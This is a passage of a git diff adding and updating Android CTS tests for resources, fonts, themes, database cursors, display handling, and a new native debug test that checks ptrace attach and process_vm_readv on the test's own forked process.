+        return ((AdaptiveIconDrawable) drawable).getForeground();
+    }
+
+    public void testGetDrawableForDensityWithAdaptiveIconDrawable() {
+        final Drawable ldpi = extractForegroundFromAdaptiveIconDrawable(R.drawable.adaptive_icon,
+                DisplayMetrics.DENSITY_LOW);
+        assertNotNull(ldpi);
+        assertEquals(300, ldpi.getIntrinsicWidth());
+
+        final Drawable mdpi = extractForegroundFromAdaptiveIconDrawable(R.drawable.adaptive_icon,
+                DisplayMetrics.DENSITY_MEDIUM);
+        assertNotNull(mdpi);
+        assertEquals(200, mdpi.getIntrinsicWidth());
+
+        final Drawable hdpi = extractForegroundFromAdaptiveIconDrawable(R.drawable.adaptive_icon,
+                DisplayMetrics.DENSITY_HIGH);
+        assertNotNull(hdpi);
+        assertEquals(100, hdpi.getIntrinsicWidth());
+    }
+
     public void testGetAnimation() throws Exception {
         try {
             mResources.getAnimation(-1);
@@ -405,6 +447,19 @@
         assertEquals("hdpi", tv.coerceToString());
     }
 
+    public void testGetValueForDensityWithZeroDensityIsSameAsGetValue() {
+        final TypedValue defaultTv = new TypedValue();
+        mResources.getValue(R.string.density_string, defaultTv, false);
+
+        final TypedValue densityTv = new TypedValue();
+        mResources.getValueForDensity(R.string.density_string, 0 /*density*/, densityTv, false);
+
+        assertEquals(defaultTv.assetCookie, densityTv.assetCookie);
+        assertEquals(defaultTv.data, densityTv.data);
+        assertEquals(defaultTv.type, densityTv.type);
+        assertEquals(defaultTv.string, densityTv.string);
+    }
+
     public void testGetAssets() {
         final AssetManager aM = mResources.getAssets();
         assertNotNull(aM);
@@ -534,6 +589,15 @@
 
     }
 
+    public void testChangingConfiguration() {
+        ColorDrawable dr1 = (ColorDrawable) mResources.getDrawable(R.color.varies_uimode);
+        assertEquals(ActivityInfo.CONFIG_UI_MODE, dr1.getChangingConfigurations());
+
+        // Test again with a drawable obtained from the cache.
+        ColorDrawable dr2 = (ColorDrawable) mResources.getDrawable(R.color.varies_uimode);
+        assertEquals(ActivityInfo.CONFIG_UI_MODE, dr2.getChangingConfigurations());
+    }
+
     private Resources resourcesForLanguage(final String lang) {
         final Configuration config = new Configuration();
         config.updateFrom(mResources.getConfiguration());
@@ -691,4 +755,116 @@
 
         is.close();
     }
+
+    public void testGetFont_invalidResourceId() {
+        try {
+            mResources.getFont(-1);
+            fail("Font resource -1 should not be found.");
+        } catch (NotFoundException e) {
+            //expected
+        }
+    }
+
+    public void testGetFont_fontFile() {
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
+
+        assertNotNull(font);
+        assertNotSame(Typeface.DEFAULT, font);
+    }
+
+    public void testGetFont_xmlFile() {
+        Typeface font = mResources.getFont(R.font.samplexmlfont);
+
+        assertNotNull(font);
+        assertNotSame(Typeface.DEFAULT, font);
+    }
+
+    public void testGetFont_invalidXmlFile() {
+        try {
+            assertNull(mResources.getFont(R.font.invalid_xmlfamily));
+        } catch (NotFoundException e) {
+            // pass
+        }
+
+        try {
+            assertNull(mResources.getFont(R.font.invalid_xmlempty));
+        } catch (NotFoundException e) {
+            // pass
+        }
+    }
+
+    public void testGetFont_invalidFontFiles() {
+        try {
+            mResources.getFont(R.font.invalid_xmlfont);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+        try {
+            mResources.getFont(R.font.invalid_font);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+        try {
+            mResources.getFont(R.font.invalid_xmlfont_contains_invalid_font_file);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+        try {
+            mResources.getFont(R.font.invalid_xmlfont_nosource);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+    }
+
+    public void testGetFont_brokenFontFiles() {
+        try {
+            mResources.getFont(R.font.brokenfont);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+
+        try {
+            mResources.getFont(R.font.broken_xmlfont);
+            fail();
+        } catch (RuntimeException e) {
+            // pass
+        }
+    }
+
+    public void testGetFont_fontFileIsCached() {
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
+        Typeface font2 = mResources.getFont(R.font.sample_regular_font);
+
+        assertEquals(font, font2);
+    }
+
+    public void testGetFont_xmlFileIsCached() {
+        Typeface font = mResources.getFont(R.font.samplexmlfont);
+        Typeface font2 = mResources.getFont(R.font.samplexmlfont);
+
+        assertEquals(font, font2);
+    }
+
+    public void testGetFont_resolveByFontTable() {
+        assertEquals(Typeface.NORMAL, mResources.getFont(R.font.sample_regular_font).getStyle());
+        assertEquals(Typeface.BOLD, mResources.getFont(R.font.sample_bold_font).getStyle());
+        assertEquals(Typeface.ITALIC, mResources.getFont(R.font.sample_italic_font).getStyle());
+        assertEquals(Typeface.BOLD_ITALIC,
+                mResources.getFont(R.font.sample_bolditalic_font).getStyle());
+
+        assertEquals(Typeface.NORMAL, mResources.getFont(R.font.sample_regular_family).getStyle());
+        assertEquals(Typeface.BOLD, mResources.getFont(R.font.sample_bold_family).getStyle());
+        assertEquals(Typeface.ITALIC, mResources.getFont(R.font.sample_italic_family).getStyle());
+        assertEquals(Typeface.BOLD_ITALIC,
+                mResources.getFont(R.font.sample_bolditalic_family).getStyle());
+    }
 }
diff --git a/tests/tests/content/src/android/content/res/cts/Resources_ThemeTest.java b/tests/tests/content/src/android/content/res/cts/Resources_ThemeTest.java
index b7a621f..729fe3d 100644
--- a/tests/tests/content/src/android/content/res/cts/Resources_ThemeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/Resources_ThemeTest.java
@@ -83,6 +83,16 @@
     }
 
     @SmallTest
+    public void testObtainStyledAttributesWithInlineStringInTheme() {
+        mResTheme.applyStyle(R.style.Theme_InlineString, false);
+        final TypedArray ta = mResTheme.obtainStyledAttributes(new int[] { R.attr.testString });
+        assertNotNull(ta);
+        assertEquals(1, ta.length());
+        assertEquals(TypedValue.TYPE_STRING, ta.getType(0));
+        assertEquals("This is a string", ta.getString(0));
+    }
+
+    @SmallTest
     public void testResolveAttribute() {
         final TypedValue value = new TypedValue();
         getContext().getResources().getValue(R.raw.testmp3, value, true);
@@ -157,4 +167,28 @@
         final Theme theme = res.newTheme();
         assertSame(res, theme.getResources());
     }
+
+    @SmallTest
+    public void testEmptyDoesNotGetOverriden() {
+        final Resources res = getContext().getResources();
+        final Theme theme = res.newTheme();
+
+        theme.applyStyle(R.style.Theme_Empty, false /*force*/);
+
+        final TypedValue tv = new TypedValue();
+        assertTrue(theme.resolveAttribute(R.attr.type1, tv, false));
+        assertEquals(TypedValue.TYPE_NULL, tv.type);
+        assertEquals(TypedValue.DATA_NULL_EMPTY, tv.data);
+
+        // @empty is treated just like a regular value. No override unless forced.
+        theme.applyStyle(R.style.Whatever, false /*force*/);
+        assertTrue(theme.resolveAttribute(R.attr.type1, tv, false));
+        assertEquals(TypedValue.TYPE_NULL, tv.type);
+        assertEquals(TypedValue.DATA_NULL_EMPTY, tv.data);
+
+        // Force the override now.
+        theme.applyStyle(R.style.Whatever, true /*force*/);
+        assertTrue(theme.resolveAttribute(R.attr.type1, tv, false));
+        assertNotSame(TypedValue.TYPE_NULL, tv.type);
+    }
 }
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index ee7449c..4e1469b 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -16,13 +16,17 @@
 
 package android.content.res.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import org.xmlpull.v1.XmlPullParserException;
 
 import android.content.cts.R;
 import android.content.cts.util.XmlUtils;
 import android.content.pm.ActivityInfo;
+import android.content.res.Resources;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
+import android.graphics.Typeface;
 import android.test.AndroidTestCase;
 import android.util.AttributeSet;
 import android.util.TypedValue;
@@ -45,11 +49,9 @@
     private static final String EXPECTED_STRING = "Hello, Android!";
     private static final String EXPECTED_TEXT = "TypedArray Test!";
     private static final String[] EXPECTED_TEXT_ARRAY = {"Easy", "Medium", "Hard"};
-    private static final int EXPECTED_INDEX = 15;
-    private static final TypedValue DEF_VALUE = new TypedValue();
-    private static final int EXPECTED_INDEX_COUNT = 17;
+    private static final int EXPECTED_INDEX_COUNT = 19;
     private static final String EXPTECTED_POS_DESCRIP = "<internal>";
-    private static final int EXPECTED_LENGTH = 19;
+    private static final int EXPECTED_LENGTH = 20;
     private static final String EXPECTED_NON_RESOURCE_STRING = "testNonResourcesString";
     private static final String XML_BEGIN = "resources";
     private static final int EXPECTED_INT_ATT = 86400;
@@ -61,7 +63,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mTypedArray = getContext().getTheme().obtainStyledAttributes(R.style.Whatever, R.styleable.style1);
+        mTypedArray = getContext().getTheme()
+                .obtainStyledAttributes(R.style.Whatever, R.styleable.style1);
     }
 
     @Override
@@ -158,9 +161,40 @@
         assertEquals(EXPECTED_TEXT_ARRAY[1], textArray[1]);
         assertEquals(EXPECTED_TEXT_ARRAY[2], textArray[2]);
 
-        final int index = t.getIndex(R.styleable.style1_type16);
-        assertEquals(EXPECTED_INDEX, index);
-        assertTrue(t.getValue(index, DEF_VALUE));
+        // Verify that all the attributes retrieved are expected and present.
+        final int[] actual_indices = new int[t.getIndexCount()];
+        for (int idx = 0; idx < t.getIndexCount(); idx++) {
+            final int attr_index = t.getIndex(idx);
+            assertTrue(t.hasValueOrEmpty(attr_index));
+            actual_indices[idx] = attr_index;
+        }
+
+        final Typeface font = t.getFont(R.styleable.style1_type18);
+        assertEquals(mContext.getResources().getFont(R.font.sample_regular_font), font);
+
+        // NOTE: order does not matter here.
+        // R.styleable.style1_typeUndefined is not expected because TYPE_NULL values do not get
+        // included in the index list.
+        assertThat(actual_indices).asList().containsExactly(
+                R.styleable.style1_type1,
+                R.styleable.style1_type2,
+                R.styleable.style1_type3,
+                R.styleable.style1_type4,
+                R.styleable.style1_type5,
+                R.styleable.style1_type6,
+                R.styleable.style1_type7,
+                R.styleable.style1_type8,
+                R.styleable.style1_type9,
+                R.styleable.style1_type10,
+                R.styleable.style1_type11,
+                R.styleable.style1_type12,
+                R.styleable.style1_type13,
+                R.styleable.style1_type14,
+                R.styleable.style1_type15,
+                R.styleable.style1_type16,
+                R.styleable.style1_type17,
+                R.styleable.style1_type18,
+                R.styleable.style1_typeEmpty);
     }
 
     public void testPeekValue() {
@@ -213,4 +247,23 @@
         ta.recycle();
         parser.close();
     }
+
+    public void testEmptyXmlAttributeDoesNotFallbackToTheme() throws Exception {
+        final Resources resources = getContext().getResources();
+        try (final XmlResourceParser parser = resources.getXml(R.xml.empty)) {
+            XmlUtils.beginDocument(parser, "element");
+            assertEquals(1, parser.getAttributeCount());
+
+            final Resources.Theme theme = resources.newTheme();
+            theme.applyStyle(R.style.Whatever, false);
+
+            final TypedArray ta = theme.obtainStyledAttributes(parser, R.styleable.style1, 0, 0);
+            try {
+                assertTrue(ta.hasValueOrEmpty(R.styleable.style1_type1));
+                assertEquals(TypedValue.TYPE_NULL, ta.getType(R.styleable.style1_type1));
+            } finally {
+                ta.recycle();
+            }
+        }
+    }
 }
diff --git a/tests/tests/database/AndroidTest.xml b/tests/tests/database/AndroidTest.xml
index 046215d..62338f1 100644
--- a/tests/tests/database/AndroidTest.xml
+++ b/tests/tests/database/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Database test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDatabaseTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.database.cts" />
+        <option name="runtime-hint" value="11m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/database/src/android/database/cts/AbstractCursorTest.java b/tests/tests/database/src/android/database/cts/AbstractCursorTest.java
index ec3ca74..ba2f1fd 100644
--- a/tests/tests/database/src/android/database/cts/AbstractCursorTest.java
+++ b/tests/tests/database/src/android/database/cts/AbstractCursorTest.java
@@ -16,7 +16,6 @@
 
 package android.database.cts;
 
-
 import android.content.Context;
 import android.database.AbstractCursor;
 import android.database.CharArrayBuffer;
@@ -27,9 +26,9 @@
 import android.database.sqlite.SQLiteDatabase;
 import android.net.Uri;
 import android.os.Bundle;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 
-import java.lang.Math;
 import java.io.File;
 import java.util.ArrayList;
 import java.util.Random;
@@ -135,9 +134,9 @@
     }
 
     public void testSetNotificationUri() {
-        String MOCK_URI = "content://abstractrcursortest/testtable";
+        final Uri testUri = Settings.System.getUriFor(Settings.System.TIME_12_24);
         mDatabaseCursor.setNotificationUri(getInstrumentation().getContext().getContentResolver(),
-                Uri.parse(MOCK_URI));
+                testUri);
     }
 
     public void testRespond() {
diff --git a/tests/tests/database/src/android/database/cts/DatabaseUtilsTest.java b/tests/tests/database/src/android/database/cts/DatabaseUtilsTest.java
index 2f58702..9b441a0 100644
--- a/tests/tests/database/src/android/database/cts/DatabaseUtilsTest.java
+++ b/tests/tests/database/src/android/database/cts/DatabaseUtilsTest.java
@@ -64,6 +64,8 @@
                 "name TEXT, age INTEGER, address TEXT);");
         mDatabase.execSQL(
                 "CREATE TABLE blob_test (_id INTEGER PRIMARY KEY, name TEXT, data BLOB)");
+        mDatabase.execSQL(
+                "CREATE TABLE boolean_test (_id INTEGER PRIMARY KEY, value BOOLEAN)");
     }
 
     @Override
@@ -264,6 +266,22 @@
         assertEquals("Mike", (String) contentValues.get("name"));
         assertEquals("20", (String) contentValues.get("age"));
         assertEquals("LA", (String) contentValues.get("address"));
+
+        mDatabase.execSQL("INSERT INTO boolean_test (value)" +
+                " VALUES (0);");
+        mDatabase.execSQL("INSERT INTO boolean_test (value)" +
+                " VALUES (1);");
+        cursor = mDatabase.query("boolean_test", new String[] {"value"},
+                null, null, null, null, null);
+        assertNotNull(cursor);
+
+        contentValues = new ContentValues();
+        cursor.moveToNext();
+        DatabaseUtils.cursorRowToContentValues(cursor, contentValues);
+        assertFalse(contentValues.getAsBoolean("value"));
+        cursor.moveToNext();
+        DatabaseUtils.cursorRowToContentValues(cursor, contentValues);
+        assertTrue(contentValues.getAsBoolean("value"));
     }
 
     public void testCursorStringToContentValues() {
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
new file mode 100644
index 0000000..e2164b0
--- /dev/null
+++ b/tests/tests/debug/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsDebugTestCases
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+
+LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(LOCAL_PATH)/libdebugtest/Android.mk
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
new file mode 100644
index 0000000..4b3254a
--- /dev/null
+++ b/tests/tests/debug/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.debug.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.debug.cts"
+                     android:label="CTS tests of native debugging API">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
new file mode 100644
index 0000000..9c454f1
--- /dev/null
+++ b/tests/tests/debug/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Debug test cases">
+    <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDebugTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.debug.cts" />
+        <option name="runtime-hint" value="0m5s" />
+    </test>
+</configuration>
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
new file mode 100644
index 0000000..65c9756
--- /dev/null
+++ b/tests/tests/debug/libdebugtest/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# This is the shared library included by the JNI test app.
+#
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libdebugtest
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+	android_debug_cts.cpp
+
+LOCAL_SHARED_LIBRARIES := liblog
+
+LOCAL_SDK_VERSION := 23
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
new file mode 100644
index 0000000..2c7c967
--- /dev/null
+++ b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <android/log.h>
+
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include <functional>
+#include <vector>
+
+#define LOG_TAG "Cts-DebugTest"
+
+#define assert_or_exit(x)                                                                         \
+    do {                                                                                          \
+        if(x) break;                                                                              \
+        __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
+                errno, strerror(errno));                                                          \
+        _exit(1);                                                                                 \
+    } while (0)
+#define assert_or_return(x)                                                                       \
+    do {                                                                                          \
+        if(x) break;                                                                              \
+        __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
+                errno, strerror(errno));                                                          \
+        return false;                                                                             \
+    } while (0)
+
+static bool parent(pid_t child) {
+    int status;
+    int wpid = waitpid(child, &status, 0);
+    assert_or_return(wpid == child);
+    assert_or_return(WIFEXITED(status));
+    assert_or_return(WEXITSTATUS(status ) == 0);
+    return true;
+}
+
+static bool run_test(const std::function<void(pid_t)> &test) {
+    pid_t pid = fork();
+    assert_or_return(pid >= 0);
+    if (pid != 0)
+        return parent(pid);
+    else {
+        // child
+        test(getppid());
+        _exit(0);
+    }
+}
+
+static void ptraceAttach(pid_t parent) {
+    assert_or_exit(ptrace(PTRACE_ATTACH, parent, nullptr, nullptr) == 0);
+    int status;
+    assert_or_exit(waitpid(parent, &status, __WALL) == parent);
+    assert_or_exit(WIFSTOPPED(status));
+    assert_or_exit(WSTOPSIG(status) == SIGSTOP);
+
+    assert_or_exit(ptrace(PTRACE_DETACH, parent, nullptr, nullptr) == 0);
+}
+
+// public static native boolean ptraceAttach();
+extern "C" jboolean Java_android_debug_cts_DebugTest_ptraceAttach(JNIEnv *, jclass) {
+    return run_test(ptraceAttach);
+}
+
+
+static void processVmReadv(pid_t parent, const std::vector<long *> &addresses) {
+    long destination;
+    iovec local = { &destination, sizeof destination };
+
+    for (long *address : addresses) {
+        // Since we are forked, the address will be valid in the remote process as well.
+        iovec remote = { address, sizeof *address };
+        __android_log_print(ANDROID_LOG_INFO, LOG_TAG, "%s About to read %p\n", __func__,
+                            address);
+        assert_or_exit(process_vm_readv(parent, &local, 1, &remote, 1, 0) == sizeof destination);
+
+        // Compare the data with the contents of our memory.
+        assert_or_exit(destination == *address);
+    }
+}
+
+static long global_variable = 0x47474747;
+// public static native boolean processVmReadv();
+extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadv(JNIEnv *, jclass) {
+    long stack_variable = 0x42424242;
+    // This runs the test with a selection of different kinds of addresses and
+    // makes sure the child process (simulating a debugger) can read them.
+    return run_test([&](pid_t parent) {
+        processVmReadv(parent, std::vector<long *>{
+                                   &global_variable, &stack_variable,
+                                   reinterpret_cast<long *>(&processVmReadv)});
+    });
+}
+
+// public static native boolean processVmReadvNullptr();
+extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadvNullptr(JNIEnv *, jclass) {
+    // Make sure reading unallocated memory behaves reasonably.
+    return run_test([](pid_t parent) {
+        long destination;
+        iovec local = {&destination, sizeof destination};
+        iovec remote = {nullptr, sizeof(long)};
+
+        assert_or_exit(process_vm_readv(parent, &local, 1, &remote, 1, 0) == -1);
+        assert_or_exit(errno == EFAULT);
+    });
+}
diff --git a/tests/tests/debug/src/android/debug/cts/DebugTest.java b/tests/tests/debug/src/android/debug/cts/DebugTest.java
new file mode 100644
index 0000000..ca55d9c
--- /dev/null
+++ b/tests/tests/debug/src/android/debug/cts/DebugTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.debug.cts;
+
+import junit.framework.TestCase;
+
+public class DebugTest extends TestCase {
+
+    static {
+        System.loadLibrary("debugtest");
+    }
+
+    public static native boolean ptraceAttach();
+    public void test_ptraceAttach() {
+        assertEquals(true, ptraceAttach());
+    }
+
+    public static native boolean processVmReadv();
+    public void test_processVmReadv() {
+        assertEquals(true, processVmReadv());
+    }
+
+    public static native boolean processVmReadvNullptr();
+    public void test_processVmReadvNullptr() {
+        assertEquals(true, processVmReadvNullptr());
+    }
+}
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 81941f5..4ad08a3 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/tests/display/AndroidManifest.xml b/tests/tests/display/AndroidManifest.xml
index 628bc6c..638bdb1 100644
--- a/tests/tests/display/AndroidManifest.xml
+++ b/tests/tests/display/AndroidManifest.xml
@@ -24,6 +24,7 @@
     <application>
         <uses-library android:name="android.test.runner" />
         <activity android:name=".ScreenOnActivity" />
+        <activity android:name=".DisplayTestActivity" />
     </application>
 
     <!--  self-instrumenting test package. -->
diff --git a/tests/tests/display/AndroidTest.xml b/tests/tests/display/AndroidTest.xml
index f346c22..8b174f1 100644
--- a/tests/tests/display/AndroidTest.xml
+++ b/tests/tests/display/AndroidTest.xml
@@ -13,8 +13,9 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS Acceleration test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+<configuration description="Config for CTS Display test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDisplayTestCases.apk" />
     </target_preparer>
@@ -25,5 +26,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.display.cts" />
+        <option name="runtime-hint" value="17m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 48da789..ea1bc20 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -16,6 +16,8 @@
 
 package android.display.cts;
 
+import org.junit.Rule;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Presentation;
@@ -32,6 +34,8 @@
 import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
 import android.view.Display;
@@ -61,6 +65,7 @@
             (float)(SECONDARY_DISPLAY_DPI + 1) / DisplayMetrics.DENSITY_DEFAULT;
     // Matches com.android.internal.R.string.display_manager_overlay_display_name.
     private static final String OVERLAY_DISPLAY_NAME_PREFIX = "Overlay #";
+    private static final String OVERLAY_DISPLAY_TYPE = "type OVERLAY";
 
     private DisplayManager mDisplayManager;
     private WindowManager mWindowManager;
@@ -71,6 +76,11 @@
 
     private Activity mScreenOnActivity;
 
+    @Rule
+    public ActivityTestRule<DisplayTestActivity> mDisplayTestActivity =
+            new ActivityTestRule<>(DisplayTestActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -115,15 +125,15 @@
         }
     }
 
-    private boolean isSecondarySize(Display display) {
-        final Point p = new Point();
-        display.getSize(p);
-        return p.x == SECONDARY_DISPLAY_WIDTH && p.y == SECONDARY_DISPLAY_HEIGHT;
+    /** Check if the display is an overlay display, created by this test. */
+    private boolean isSecondaryDisplay(Display display) {
+        return display.toString().contains(OVERLAY_DISPLAY_TYPE);
     }
 
+    /** Get the overlay display, created by this test. */
     private Display getSecondaryDisplay(Display[] displays) {
         for (Display display : displays) {
-            if (isSecondarySize(display)) {
+            if (isSecondaryDisplay(display)) {
                 return display;
             }
         }
@@ -143,7 +153,7 @@
             if (display.getDisplayId() == Display.DEFAULT_DISPLAY) {
                 hasDefaultDisplay = true;
             }
-            if (isSecondarySize(display)) {
+            if (isSecondaryDisplay(display)) {
                 hasSecondaryDisplay = true;
             }
         }
@@ -172,6 +182,7 @@
         assertFalse(cap.getDesiredMaxLuminance() < -1.0f);
         assertFalse(cap.getDesiredMinLuminance() < -1.0f);
